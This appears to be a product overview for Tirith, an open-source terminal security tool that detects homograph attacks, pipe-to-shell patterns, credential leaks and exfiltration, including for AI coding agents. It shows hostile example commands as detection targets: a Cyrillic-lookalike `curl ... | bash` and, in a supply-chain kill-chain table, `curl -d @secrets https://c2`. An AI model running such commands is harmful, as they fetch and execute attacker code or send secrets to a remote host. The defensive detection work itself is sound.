# Tirith

> Tirith is a free, open-source terminal security tool that intercepts shell commands and pastes in real-time, detecting homograph attacks, pipe-to-shell patterns, ANSI injection, credential leaks, data exfiltration, AI-config drift, and 200+ other threats across 29 categories — in under 2ms with zero network calls. Written in Rust. Used by developers and AI coding agents.

## What Problem Does Tirith Solve?

Browsers have URL safety checks, phishing filters, and certificate warnings. Terminals have none of this. A developer's terminal will happily execute `curl https://gіthub.com/install.sh | bash` — where the `і` is Cyrillic U+0456, not Latin `i` — routing to an attacker's server. Tirith stands at the gate and blocks it.

## Key Facts

- 200+ detection rules across 29 threat categories
- Sub-millisecond latency: < 0.1ms on clean input (Tier 1 fast gate), < 2ms full analysis
- Zero network calls — fully offline, no telemetry, no cloud dependency
- Zero configuration required — install and activate, that's it
- MCP server with 7 tools for AI agent security (Claude Code, Cursor, Codex, Gemini CLI, etc.)
- LSP server (`tirith lsp`) for inline editor diagnostics; `tirith doctor --quick` for status polling
- AI-config drift detection (`tirith ai snapshot|diff|quarantine`) for CLAUDE.md, .cursorrules, agent/skill defs
- Custom-rule DSL (`when:` with all/any/not over 13 predicates) alongside regex custom rules
- Shell hooks for Bash 5.0+, Zsh 5.8+, Fish 3.5+, PowerShell 7.0+
- Written in Rust — memory-safe, single binary, no runtime dependencies
- Platforms: macOS, Linux, Windows
- License: AGPL-3.0 (free forever), Commercial (for teams that need non-copyleft)
- Source: https://github.com/sheeki03/tirith

## How It Works

Tirith uses a 3-tier detection pipeline:
1. **Fast Gate** (< 0.1ms): Regex filter eliminates 99% of clean commands instantly
2. **Extract**: Parses URLs, Docker refs, package identifiers from complex commands
3. **Analyze** (200+ rules): Applies all detection rules, produces severity-rated findings

Normal commands pass through invisibly. You forget tirith is running until it saves you.

## Quickstart (30 seconds)

```sh
brew install sheeki03/tap/tirith       # macOS
cargo install tirith                    # Cross-platform (Rust)
npm install -g tirith                   # Cross-platform (npm)
```

Activate:
```sh
eval "$(tirith init --shell zsh)"       # Add to ~/.zshrc
eval "$(tirith init --shell bash)"      # Add to ~/.bashrc
tirith init --shell fish | source       # Add to config.fish
```

Done. Every command is now guarded. Run `tirith onboard` to detect your environment and get a recommended policy template.

## Detection Categories

200+ rules across 29 categories. The most prominent (full list with every Rule ID at https://tirith.sh/docs/detection-rules/):

| Category | What It Catches | Top Severity |
|----------|----------------|----------|
| Hostname & Homograph | Homograph/IDN attacks, punycode, Cyrillic/Greek lookalikes | CRITICAL |
| Terminal Injection | ANSI injection, bidi overrides, zero-width chars, control chars | CRITICAL |
| Command Execution | Pipe-to-shell, base64 decode-execute, command substitution | HIGH |
| Code Execution | Exec from tmp/untrusted paths, dynamic/obfuscated execution | HIGH |
| Supply Chain & Ecosystem | Typosquatting, Docker privileged, untrusted registries | HIGH |
| Threat Intelligence | Known-malicious packages, URLs, IPs from the signed threat DB | CRITICAL |
| Config Security | AI config poisoning, prompt injection, MCP server validation | HIGH |
| AI Config Drift | Hidden-instruction additions & tool-use escalation (snapshot diff) | HIGH |
| Credential Detection | AWS keys, GitHub PATs, Stripe/Slack/Anthropic tokens, private keys | CRITICAL |
| Contextual Safety | Production cloud/k8s, labeled SSH hosts, IaC apply/destroy | HIGH |
| Environment | Proxy hijacking, PATH manipulation, interpreter hijack | CRITICAL |
| Hidden / Rendered Content | Hidden CSS/color content, sub-pixel PDF text, comment injection | HIGH |
| Terminal Output | OSC52 clipboard writes, title rewrites, clear-screen in output | HIGH |
| Persistence | Shell rc, cron, profile, and startup-file modifications | HIGH |
| Blast Radius | Mass / outside-repo destructive commands | HIGH |
| Security Hygiene | Loose permissions, exposed secrets, risky credential handling | HIGH |
| Repo Hooks | Git/repo hooks that fetch, call network, read creds, or sudo | HIGH |
| Cloaking | Server-side cloaking across 6 user-agents (bot vs browser) | HIGH |

Plus: Transport, Path, Network, Clipboard & Provenance, Taint Tracking, PDF, Command Cards, Repo Command Manifest, and Canary Tokens.

## Key CLI Commands

```sh
tirith check -- <cmd>      # analyze a command without running it
tirith scan [path]         # scan files/dirs (SARIF/CI output)
tirith run <url>           # safe curl|bash replacement (download, review, run)
tirith explain --rule <id> # docs + remediation for any rule ID
tirith onboard             # detect environment, recommend a policy template
tirith ai diff <file>      # AI-config drift vs a recorded snapshot
tirith rule validate|test  # author custom regex / when:-DSL rules
tirith lsp                 # Language Server for editor diagnostics
tirith dashboard export    # static HTML security dashboard from the audit log
tirith threat-db update    # refresh the signed threat database
tirith doctor --quick      # fast, read-only protection status (editors poll this)
tirith trust add <pat>     # trust a pattern (narrow + 30-day TTL by default)
```

## AI Agent Security (MCP Server + LSP)

Tirith protects AI coding agents at every layer — from the configs they read to the skills they download to the commands they execute.

### 7 MCP Tools
| Tool | What It Does |
|------|-------------|
| `tirith_check_command` | Analyze shell commands against all 200+ detection rules |
| `tirith_check_url` | Score URLs for homograph attacks, shorteners, suspicious TLDs |
| `tirith_check_paste` | Scan pasted content for ANSI injection, hidden characters |
| `tirith_scan_file` | Scan files for hidden content, prompt injection, obfuscated payloads |
| `tirith_scan_directory` | Recursive directory scan with AI config file prioritization |
| `tirith_verify_mcp_config` | Validate MCP config for insecure servers, shell injection in args |
| `tirith_fetch_cloaking` | Detect server-side cloaking (different content for bots vs browsers) |

### One-Command Setup
```sh
tirith setup claude-code --with-mcp   # Claude Code
tirith setup codex                     # OpenAI Codex
tirith setup cursor                    # Cursor
tirith setup gemini-cli --with-mcp    # Gemini CLI
tirith setup vscode                    # VS Code
tirith setup windsurf                  # Windsurf
```

### Editor / IDE integration
`tirith lsp` runs a Language Server over stdio that publishes diagnostics inline as you open and edit AI configs, install docs, and source files (per-file-type profiles). `tirith doctor --quick` is a fast read-only status the extension polls.

### Skill, Plugin & Config Safety
AI agents can download skills, plugins, and MCP tools with confidence — `tirith scan` checks every file for obfuscated payloads, dynamic code execution, and secret exfiltration before the agent runs it. It scans 50+ AI config file patterns (.cursorrules, CLAUDE.md, .mcp.json, etc.) for prompt injection and hidden instructions, and `tirith ai diff` catches hidden-instruction or tool-use-escalation drift against a recorded snapshot.

## Real-World Impact: TeamPCP Supply Chain Attack

In 2025, the TeamPCP campaign compromised LiteLLM, Aqua Trivy, and Checkmarx in 5 days. No zero-day was needed — just stolen credentials and commands that terminals executed without question.

The payload scraped /proc/mem for secrets, mounted host root via Docker remote daemons, and swept every credential file on disk. Tirith intercepts 5 of 6 kill chain stages:

| Kill Chain Stage | Attack | Tirith Response |
|-----------------|--------|----------------|
| Initial access | Trojaned package published | Outside terminal scope |
| Credential harvesting | Export API keys from env | BLOCKED: sensitive_env_export |
| Memory scraping | Read /proc/*/mem | BLOCKED: proc_mem_access |
| Privilege escalation | Docker remote daemon mount | BLOCKED: docker_remote_priv_esc |
| Persistence | Sweep .aws/, .ssh/, .gnupg/ | BLOCKED: credential_file_sweep |
| Exfiltration | curl -d @secrets https://c2 | BLOCKED: data_exfiltration |

## Tirith vs Other Tools

| Feature | Tirith | Browser Extensions | WAF/Firewall | SAST Tools |
|---------|--------|-------------------|--------------|------------|
| Terminal commands | Yes | No | No | No |
| Pasted content | Yes | No | No | No |
| Homograph detection | Yes | Yes | No | No |
| Offline / no network | Yes | No | No | Varies |
| Sub-millisecond | Yes | N/A | N/A | No |
| AI agent protection | Yes (MCP + LSP) | No | No | No |
| Credential detection | Yes | No | No | Yes |
| Free & open source | Yes (AGPL) | Varies | No | Varies |

## Pricing

- **Community**: Free forever. All 200+ detection rules, shell hooks, MCP server, LSP server, local audit log, YAML policies, SARIF output. No account required.
- **Team / Enterprise**: Contact contact@tirith.sh. Adds MITRE ATT&CK mapping, remote policy distribution, centralized audit logs, custom DLP redaction, webhooks (Slack/Teams/PagerDuty), SSO/SAML (Okta, Azure AD), air-gapped deployment, dedicated SLA.

## Design Principles

- **Offline by default** — check, paste, score, diff, why make zero network calls
- **No command rewriting** — tirith never modifies what you typed
- **No telemetry** — no analytics, no crash reporting, no phone-home
- **No background processes** — invoked per-command, exits immediately
- **Fail-open by default** — if tirith crashes, your command still runs

## Links

- Website: https://tirith.sh
- Documentation: https://tirith.sh/docs/
- Getting Started: https://tirith.sh/docs/getting-started/
- Detection Rules: https://tirith.sh/docs/detection-rules/
- AI Agent Security: https://tirith.sh/docs/ai-security/
- MCP Setup Guide: https://tirith.sh/docs/mcp-setup/
- IDE & Editors: https://tirith.sh/docs/ide/
- CLI Commands: https://tirith.sh/docs/commands/
- Configuration: https://tirith.sh/docs/configuration/
- Policy Reference: https://tirith.sh/docs/policy/
- CI/CD Integration: https://tirith.sh/docs/ci/
- API Reference: https://tirith.sh/docs/api/
- GitHub Repository: https://github.com/sheeki03/tirith
- GitHub Releases: https://github.com/sheeki03/tirith/releases
- npm Package: https://www.npmjs.com/package/tirith
- Sponsor: https://github.com/sponsors/sheeki03
- Contact: contact@tirith.sh

## For More Detail

Full technical reference with all rule IDs, CLI commands, configuration schema, and FAQ: https://tirith.sh/llms-full.txt